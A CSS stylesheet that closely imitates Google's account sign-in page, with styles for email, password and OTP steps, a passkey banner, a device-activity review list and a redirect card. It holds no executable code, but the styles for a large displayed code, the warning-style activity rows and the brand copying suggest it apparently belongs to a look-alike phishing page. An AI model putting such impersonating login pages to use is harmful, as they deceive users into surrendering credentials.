:root {
    --accent: #0b57d0;
    --bg-color: rgb(240 244 249 / 1);
    --card-bg: #fff;
    --text-primary: #202124;
    --text-secondary: #5f6368;
    --border-color: #dadce0;
    --hover-bg: rgba(95, 99, 104, 0.08);
    --error-color: #d93025;
    --button-bg: #0b57d0;
    --button-hover: #0b57d0;
    --button-text: #fff;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-Thin.woff2') format('woff2');
    font-weight: 100;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-ExtraLight.woff2') format('woff2');
    font-weight: 200;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-Light.woff2') format('woff2');
    font-weight: 300;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-Regular.woff2') format('woff2');
    font-weight: 400;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-Medium.woff2') format('woff2');
    font-weight: 500;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-SemiBold.woff2') format('woff2');
    font-weight: 600;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-Bold.woff2') format('woff2');
    font-weight: 700;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-ExtraBold.woff2') format('woff2');
    font-weight: 800;
    font-style: normal;
    font-display: swap;
}

@font-face {
    font-family: 'Google Sans';
    src: url('res/fonts/GoogleSans-Black.woff2') format('woff2');
    font-weight: 900;
    font-style: normal;
    font-display: swap;
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: "Google Sans", Roboto, Arial, sans-serif;
}



body {
    background: var(--bg-color);
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
}

.container {
    width: 1170px;
    margin: 0 auto;
    padding: 20px;
}

.signin-card {
    position: relative;
    overflow: hidden;
    background: var(--card-bg);
    border-radius: 25px;
    padding: 35px 30px 36px;
    display: flex;
    justify-content: space-between;
    gap: 100px;
    /* height: 402px; */
    position: relative;
    overflow: hidden;
    overflow: hidden;
}

/* Animation styles */
/* loading bar now uses real elements */
.loading-track {
    position: absolute;
    top: 0;
    left: 50%;
    transform: translateX(-50%);
    width: 100%;
    height: 3px;
    overflow: hidden;
    pointer-events: none;
}

.loading-bar {
    position: absolute;
    top: 0;
    left: -120%;
    width: 60%;
    height: 4px;
    background: var(--button-bg);
}

.submitting .loading-bar {
    animation: loading 1.4s linear infinite;
}

@keyframes loading {
    0%   { left: -120%; }
    100% { left: 120%; }
}

.signin-left {
    flex: 1;
    max-width: 480px;
    display: flex;
    flex-direction: column;
}

.signin-right {
    flex: 1;
    max-width: 600px;
    padding-top: 82px;
}

.logo-container {
    margin-bottom: 20px;
}

.google-logo {
    width: 48px;
    height: 48px;
    display: block;
}

.hide {
    display: none !important;
}

h1 {
    color: var(--text-primary);
    font-size: 30px;
    font-weight: 400;
    line-height: 1.3333;
    margin-bottom: 15px;
    text-align: left;
}

.subtitle {
    color: var(--text-primary);
    font-size: 16px;
    font-weight: 400;
    letter-spacing: 0.1px;
    line-height: 1.5;
    margin-bottom: 32px;
    text-align: left;
}

.user-email {
    color: var(--text-primary);
    background: var(--card-bg);
    border: 1px solid var(--border-color);
    border-radius: 16px;
    padding: 0 4px;
    height: 32px;
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 14px;
    cursor: pointer;
    width: fit-content;
}

.user-email:hover {
    background: var(--hover-bg);
}

.user-icon {
    color: var(--text-secondary);
    min-width: 20px;
}

.dropdown-icon {
    color: var(--text-secondary);
    min-width: 18px;
    margin-left: 4px;
}

.showed-otp {
    text-align: center;
    font-size: 36px;
}

.otp-info {
    margin-bottom: 24px;
}

.otp-info h2 {
    color: var(--text-primary);
    font-weight: 400;
    line-height: 1.3333;
    margin-bottom: 12px;
    font-size: 22px;
}

.otp-info p {
    color: var(--text-primary);
    font-size: 14px;
    line-height: 1.5;
}

.form-group {
    width: 100%;
    margin-bottom: 8px;
    position: relative;
}

.input-container {
    position: relative;
    margin-bottom: 8px;
}

.input-container.error input {
    border-color: var(--error-color);
}

.input-container.error .input-label {
    color: var(--error-color);
}

input {
    width: 100%;
    height: 56px;
    border: 1px solid var(--border-color);
    border-radius: 4px;
    padding: 13px 15px;
    font-size: 16px;
    color: var(--text-primary);
    outline: none;
    background: transparent;
}

.input-label {
    position: absolute;
    left: 15px;
    top: 50%;
    transform: translateY(-50%);
    color: var(--text-secondary);
    font-size: 16px;
    transition: all 0.2s;
    background: var(--card-bg);
    padding: 0 4px;
    pointer-events: none;
}

input:focus + .input-label,
input:not(:placeholder-shown) + .input-label {
    top: 0;
    font-size: 12px;
    color: var(--accent);
}

.input-container.error input:focus + .input-label,
.input-container.error input:not(:placeholder-shown) + .input-label {
    color: var(--error-color);
}

input:focus {
    border-color: var(--accent);
    border-width: 2px;
    padding: 12px 14px;
}

.error-message {
    display: none;
    align-items: center;
    gap: 8px;
    color: var(--error-color);
    font-size: 12px;
    margin-top: 4px;
}

.error-icon {
    fill: var(--error-color);
}

.show-password {
    margin: 8px 0;
}

.checkbox-container {
    display: flex;
    align-items: center;
    gap: 12px;
    cursor: pointer;
}

.checkbox-container input[type="checkbox"] {
    width: 18px;
    height: 18px;
    margin: 0;
}

.checkbox-label {
    color: var(--text-primary);
    font-size: 14px;
}

.forgot-email,
.forgot-password {
    width: 100%;
    text-align: left;
    margin: 8px 0 32px;
}

.forgot-email button,
.forgot-password button {
    color: var(--accent);
    font-weight: 600;
    font-size: 14px;
    letter-spacing: 0.25px;
    text-decoration: none;
    background: none;
    border: none;
    padding: 0;
    cursor: pointer;
}

.guest-mode {
    width: 100%;
    text-align: left;
    margin-bottom: auto;
}

.guest-mode p {
    color: var(--text-secondary);
    font-size: 14px;
    line-height: 1.5;
}

.guest-mode a {
    color: var(--accent);
    text-decoration: none;
    font-weight: 500;
}

.button-group {
    width: 100%;
    display: flex;
    justify-content: flex-end;
    align-items: center;
    margin-top: 48px;
    gap: 24px;
}

.create-account,
.text-button {
    color: var(--accent);
    font-size: 14px;
    font-weight: 600;
    letter-spacing: 0.25px;
    text-decoration: none;
    background: none;
    border: none;
    cursor: pointer;
    padding: 0;
}

.next-button {
    background: var(--button-bg);
    color: var(--button-text);
    border: none;
    border-radius: 25px;
    font-size: 14px;
    font-weight: 400;
    letter-spacing: 0.25px;
    padding: 0 24px;
    height: 36px;
    min-width: 77px;
    cursor: pointer;
    transition: all 0.2s;
}

.next-button:hover {
    background: rgb(195 218 255 / 1);
    box-shadow: 0 1px 2px 0 rgba(66,133,244,0.3),
                0 1px 3px 1px rgba(66,133,244,0.15);
}

.footer {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 20px 0;
}

.language-select {
    color: var(--text-primary);
    font-size: 12px;
    border: 1px solid transparent;
    border-radius: 4px;
    background: transparent;
}

.footer-links {
    display: flex;
    gap: 24px;
}

.footer-links a {
    color: var(--text-secondary);
    font-size: 12px;
    text-decoration: none;
    letter-spacing: 0.3px;
}

.footer-links a:hover {
    text-decoration: underline;
}

@media (max-width: 945px) {
    .container {
        width: 100%;
        max-width: 480px;
    }

    .signin-card {
        flex-direction: column;
        gap: 24px;
        height: auto;
        padding: 48px;
    }

    .signin-left {
        max-width: 100%;
    }

    .signin-right {
        max-width: 100%;
        padding-top: 0;
    }

    h1 {
        font-size: 24px;
        margin-bottom: 8px;
    }

    .subtitle {
        font-size: 14px;
        margin-bottom: 24px;
    }

    .logo-container {
        margin-bottom: 16px;
    }

    .button-group {
        margin-top: 32px;
        justify-content: space-between;
        gap: 12px;
    }
}

@media (max-width: 600px) {
    body {
        background: var(--card-bg);
        align-items: flex-start;
        min-height: 100vh;
        display: flex;
        flex-direction: column;
    }

    .container {
        width: 100%;
        padding: 0 24px;
        flex: 1;
        display: flex;
        flex-direction: column;
    }

    .signin-card {
        padding: 20px 0;
        height: auto;
        flex-direction: column;
        gap: 24px;
        border-radius: 0;
        flex: 1;
    }

    .signin-left {
        max-width: 100%;
        flex: unset;
    }

    .signin-right {
        max-width: 100%;
        padding-top: 0;
    }

    h1 {
        font-size: 24px;
        margin-bottom: 8px;
    }

    .subtitle {
        font-size: 14px;
        margin-bottom: 24px;
    }

    .logo-container {
        margin-bottom: 16px;
    }

    .button-group {
        margin-top: 32px;
        justify-content: space-between;
    }

    .footer {
        margin-top: auto;
        padding-bottom: 8px;
    }
}

/* passkey banner (password step) — light by default */
.passkey-banner {
    display: flex;
    align-items: flex-start;
    gap: 12px;
    padding: 14px 16px;
    margin-bottom: 16px;
    background: #e8f0fe;
    border-radius: 8px;
}

.passkey-icon {
    color: var(--accent);
    flex-shrink: 0;
    margin-top: 2px;
}

.passkey-text {
    color: var(--accent);
    font-size: 13px;
    font-weight: 400;
    line-height: 1.5;
}

.passkey-text strong {
    font-weight: 500;
}

.verify-text {
    color: var(--text-primary);
    font-size: 14px;
    line-height: 1.5;
    margin-bottom: 20px;
}

@media (max-width: 945px) {
    .passkey-banner { padding: 12px 14px; gap: 10px; }
    .passkey-text { font-size: 12px; }
}


@media (prefers-color-scheme: dark) {
    :root {
        --accent: rgb(168 199 250 / 1);
        --bg-color: rgb(30 31 32 / 1);
        --card-bg: rgb(14 14 14 / 1);
        --text-primary: #e8eaed;
        --text-secondary: #9aa6b0;
        --border-color: #3c4043;
        --hover-bg: rgb(168 199 250 / 0.08);
        --error-color: #f28b82;
        --button-bg: rgb(168 199 250 / 1);
        --button-hover: rgb(195 218 255 / 1);
        --button-text: #0e0e0e;
    }

    .forgot-email button,
    .forgot-password button,
    .guest-mode a,
    .create-account,
    .text-button,
    .button-group .create-account,
    .button-group .text-button {
        color: var(--accent);
    }

    .next-button {
        background: var(--button-bg);
        color: #0e0e0e ;
    }

    .next-button:hover {
        background: rgb(140 175 235 / 1) ;
    }

    input:focus {
        border-color: var(--accent);
    }

    input:focus + .input-label,
    input:not(:placeholder-shown) + .input-label {
        color: var(--accent);
    }

    .footer-links a:hover {
        color: var(--accent);
    }

    .passkey-banner {
        background: rgb(8 66 160 / 1) ;
    }
    .passkey-icon,
    .passkey-text {
        color: rgb(211 227 253 / 1) ;
    }


    .next-button,
    .next-button:hover,
    .next-button:focus {
        color: #0e0e0e !important;
    }
}


/* light-mode blues: all interactive accents */
.forgot-email button,
.forgot-password button,
.guest-mode a,
.create-account,
.text-button,
.button-group .create-account,
.button-group .text-button {
    color: var(--accent);
}

.next-button {
    background: var(--button-bg);
    color: #fff ;
}

.next-button:hover {
    background: #1a73e8 ;
}

input:focus {
    border-color: var(--accent);
}

input:focus + .input-label,
input:not(:placeholder-shown) + .input-label {
    color: var(--accent);
}

.footer-links a:hover {
    color: var(--accent);
}


.error-message:not(.hide) { display: flex; }

/* ===== dark mode overrides (highest priority, end of file) ===== */
@media (prefers-color-scheme: dark) {
    .next-button {
        background: rgb(168 199 250 / 1) !important;
        color: #0e0e0e !important;
    }
    .next-button:hover,
    .next-button:focus,
    .next-button:active {
        background: rgb(195 218 255 / 1) !important;
        color: #0e0e0e !important;
    }
}

/* ---- Setup review activity list ---- */
.activity-list {
    border: 1px solid var(--border-color);
    border-radius: 8px;
    overflow: hidden;
    font-size: 14px;
}
.activity-row {
    display: flex;
    justify-content: space-between;
    gap: 16px;
    padding: 14px 18px;
    border-bottom: 1px solid var(--border-color);
}
.activity-row:last-child { border-bottom: none; }
.activity-device {
    font-weight: 500;
    color: var(--text-primary, #202124);
    margin-bottom: 2px;
}
.activity-meta {
    font-size: 12px;
    color: var(--text-secondary);
}
.activity-status {
    color: #d93025;
    font-size: 12px;
    align-self: center;
    white-space: nowrap;
}
#setupReviewCard .button-group,
#setupRedirectCard .button-group {
    margin-top: 24px;
}


/* ===== Global loading overlay ===== */
.card-overlay {
    position: fixed;
    inset: 0;
    z-index: 9999;
    display: none;
    background: rgba(255, 255, 255, 0.45);
    pointer-events: all;
    cursor: default;
}
.card-overlay.active { display: block; }

@media (prefers-color-scheme: dark) {
    .card-overlay {
        background: rgba(0, 0, 0, 0.22);
    }
}